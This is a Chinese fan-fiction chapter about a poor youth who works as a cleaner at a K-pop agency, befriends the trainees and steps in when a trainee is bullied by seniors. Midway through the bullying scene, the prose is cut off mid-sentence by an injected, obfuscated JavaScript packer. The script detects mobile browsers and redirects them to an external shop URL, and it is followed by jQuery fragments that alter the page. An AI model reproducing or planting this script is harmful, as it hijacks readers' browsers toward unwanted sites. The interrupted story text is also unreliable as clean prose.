李志勋很好心地带他进了金代表的办公室，和代表解释几句后，办公室里只剩下了两个人。金代表问什么，他就答什么。


    金侑一全程低着头。


    他不敢看上面那人的眼神。


    话题的最后，男人只说了这么一句：


    “瞧着样貌是个能挣钱的，只可惜太穷。”


    男人再没说什么直接把他带到了另一件大办公室。一个坐在办公桌前的中年男人面色严肃地上下打量着金侑一，金侑一猜那应该就是P社社长。


    男人听了代表的说辞后，眉头皱得很紧。“清洁工？我们最近不缺……”


    “社长，这孩子瞧着是个老实的，虽然家世不好，但这么好模样的，您信我一句言，真的见不到下一个了！”代表把金侑一抬得越高，金侑一的头就越低。


    他有时候也会困惑，为什么人的脑袋不能就黏在地上。反正他也不要正视什么有的没的。


    身旁的男人语气带着点难得的急切，“真的，社长，这孩子也是真的想做练习生，一边打工一边练习的您也不是没见过。就让他试试吧。”


    或许是金代表的推荐话术起了作用，或许是真的临时缺人手，社长最终不情不愿地哼了一声，扔过来一张表格和一把钥匙。


    “先去把三楼东侧练习室的走廊和卫生间打扫了。工具在储物间。试用期一周，没有工资，管一顿晚饭。干得好再说。”


    金侑一接过表格和钥匙，冰凉的金属触感让他清醒了些。他深深地鞠了一躬：“谢谢您，我会好好做的。”


    他的工作从最底层开始。早六晚十打扫卫生，搬运杂物，一天三次清理垃圾。


    他像一个处在地下的隐匿者，穿行在光鲜舞台的背后，呼吸着灰尘和消毒水的气味。


    练习生们起初对他这个突然出现又沉默寡言的后勤工有些好奇，但很快便失去了兴趣。


    他们谈论的是音阶、舞步、体重管理、出道机会，金侑一偶尔会隔着练习室的门缝，看到里面挥汗如雨的身影，听到那些或清亮或低沉的歌声。


    每一次，他都像被钉在原地，心脏钝痛。


    他会在打扫时，看到被随意丢弃在垃圾桶里的乐谱纸团，会趁没人的时候悄悄捡起来，一点点抚平褶皱，再偷偷看上几眼那些蝌蚪一样的音符和潦草的字迹。


    有一次，他正擦拭走廊的窗台，一个练习生捂着肚子匆匆跑进卫生间，不久里面传来压抑的呕吐声。


    金侑一认得他，是说唱课上rap说得特别溜的那个，总被老师表扬，好像叫全园佑，跳起舞来也有用不完的力气，但似乎肠胃不太好。


    过了一会儿，全园佑脸色苍白地走出来，看到金侑一，愣了愣，有些尴尬地扯了扯嘴角。


    金侑一没说话，转身去储物间，拿出自己备着的胃药，又用一次性纸杯接了温水，他似乎也不适应自己这般举动，抿上嘴，默不吭声地递过去。


    金侑一因为自己长期饮食不规律，也会常备。


    全园佑看着他，眼里闪过一丝惊讶。他接过药和水，低声道了谢。那之后，全园佑再见到他时，偶尔会点个头。


    类似的小事渐渐累积。他看到那个叫崔胜徹的练习生，似乎是个小领导，总是最早来最晚走，眉头时常紧锁，压力很大的样子。


    他会帮崔胜徹收拾好散落的水瓶和毛巾。看到几个年纪更小的中国练习生，因为语言不通，对着老师的指令一脸茫然时，他会用自己偷偷学的中文，结结巴巴地帮忙翻译几个单词。


    那些孩子，文俊晖，姚鸣鸣，还有后来加入的，他们总会用装着纯真善良的眼睛看着他，唤他“侑一哥”。


    金侑一就像一个笨拙的修补匠，小心翼翼地处理着这片光芒背后的琐碎。


    他的“药箱”渐渐出名，里面除了胃药，还有创可贴、跌打喷雾、消毒碘伏，甚至有几包水果糖，那是为了防止孩子们在练习过度的时候低血糖。


    他认识了更多人——活泼吵闹的夫盛宽，总是笑眯眯但跳舞时气场全开的权纯永，个子高高rap说得很顶的崔韩率和金岷奎，弹吉他曲时特别有魅力的Joshua……


    他们在他眼里，起初是一个个模糊的标签，却在后来渐渐有了鲜活的轮廓。


    但站在金侑一立场上，他必须保持该有的距离，他得时刻清醒地目前的自己没资格属于那里。毕竟，他还只是个打扫卫生的。不是么？


    但他还是狼狈地介入了，以一个后勤工的身份——已记不得是哪天，他正打扫一间闲置的小储物间时，听到隔壁传来激烈的争吵和撞击声，隐约还有哭泣。


    他犹豫了一下，放下拖把走过去。声音是从一间小练习室传来的，那扇门正虚掩着。


    透过门缝，他看到那个叫崔胜徹的被两个高大的身影堵在墙角，那是公司里资历更老的练习生，据说背景很硬。


    其中一个正用手狠狠戳着崔胜徹的胸口，嘴里骂着不堪入耳的脏话，指责崔胜徹带领的这群人“不懂规矩”“抢了风头”。


    崔胜徹紧握着拳，眼圈通红，但他倔强地昂着头，既没有还嘴，也没有怯懦。


    “前辈，我们只是按要求练习……”崔胜徹的声音沙哑。


    “要求？架子还不小啊？那我告诉你什么是要求！”另一个前辈猛地推了他一把，崔胜徹的后背重重撞在镜墙上，发出沉闷的响声。


    金侑一脑袋里“嗡”的一声。他看到崔胜徹疼得蜷缩了一下，但很快又挺直了背。


    那个瞬间，崔胜徹的身影和被父亲踹开的在贤的身形重叠，金侑一不知哪来的勇气，他猛地推开门冲了进去。


    “住手！”他的声音因为紧张而有些变调，在空旷的练习室里显得突兀。


    三个人的目光齐刷刷射过来。那两个前辈看到是那个总在公司跑腿的后勤工，眼神瞬间轻蔑起来，语气带着恼怒：“滚出去！这里没你的事！”


    金侑一没动，他走到崔胜徹身边，挡在他前面，尽管他的身高并不比崔胜徹有优势。


    “练习时间，前辈也该知道隔壁就有老师们在。”他尽量让声音平稳，手指在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976261|193505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身侧微微发抖。


    “你算什么东西？一个扫地的也敢管闲事？”其中一个前辈逼近一步，伸手就要揪他的衣领。


    金侑一下意识闭上了眼，预想中的疼痛却没有到来。他睁开眼，看到崔胜徹不知何时又站到了他前面，紧紧抓住了那只手腕。


    “前辈，适可而止吧。”崔胜徹的声音冷了下来，带着一种金侑一从未听过的强硬，“闹大了，对谁都不好。”


    那两个前辈似乎被崔胜徹突然强硬的态度和提及的“闹大”震慑了一下，他们蹙着眉头狠狠瞪了金侑一一眼，甩开自己的手腕，骂骂咧咧地走了。


    练习室里只剩下金侑一和崔胜徹两个人，镜子映出他们狼狈的样子，一时间寂静得可怕。


    崔胜徹揉了揉指节，他转过身，看向金侑一。此时他脸上疲惫尽显，但眼神十分复杂，有金侑一看得懂的怒意，还有金侑一看不懂的东西。


    “谁让你进来的？”


    崔胜徹问，声音有些梗滞。


    金侑一张了张嘴，没发出声音。


    “以后碰到这种事，走远点。”崔胜徹别开视线，走到墙边拿起自己的水瓶，“你惹不起。”


    金侑一站在原地，看着崔胜徹仰头灌水时滚动的喉结，扫过他垂下的眼睫。刚才那瞬间挡在他身前的温度似乎还残留着。


    “我……”金侑一终于找回了自己的声音，很低，“我只是……算了，不会有下次了。”


    崔胜徹喝水的手顿了一下。他没再看金侑一，只是稍稍压低了声音：“把这里收拾一下。”然后拎起包，头也不回地走了出去。


    金侑一独自留在凌乱的练习室里，慢慢蹲下身，他捡起被打翻的椅子，又擦拭镜墙上模糊的指印。指尖触碰到冰冷的镜面，里面映出他自己苍白沉默的脸。


    他知道崔胜徹说的是对的，他惹不起。但刚才那一刻，他好像短暂地于这个世界喘息了一刻，哪怕是以一种疼痛的方式。


    崔胜徹没再提过这件事，但后来见到金侑一时，眼神里比先前少了几分疏离。


    有时会随口问他一句“吃饭没”，或者把练习后没开封的饮料扔给他。很随意的举动，却让金侑一心里那点卑怯的温暖，悄悄蔓延开一丝。


    这让金侑一觉得他不能白来Pledis。


    他开始更疯狂地压榨自己。


    白天的工作照旧，晚上在P社打扫完毕后，如果还有练习室空着，他会偷偷溜进去。对着空无一人的镜墙，笨拙地模仿白天从门缝里看到的舞步，张开嘴，用气声哼唱那些盘旋在脑海里的旋律。


    他的动作僵硬，声音也因为长期缺乏正确训练而干涩不稳。镜子里的自己，穿着沾着污渍的工装，在空旷的房间里像个可笑的幽灵。


    可他停不下来。


    李志勋那句“那就去唱啊”，崔胜徹挡在他身前的背影，在贤看着他时的眼神，甚至埋怨他的母亲，打骂他的父亲……


    所有这些，拧成一股尖锐的力，推着他，在这条看不见光的窄路上，跌跌撞撞地往前挪。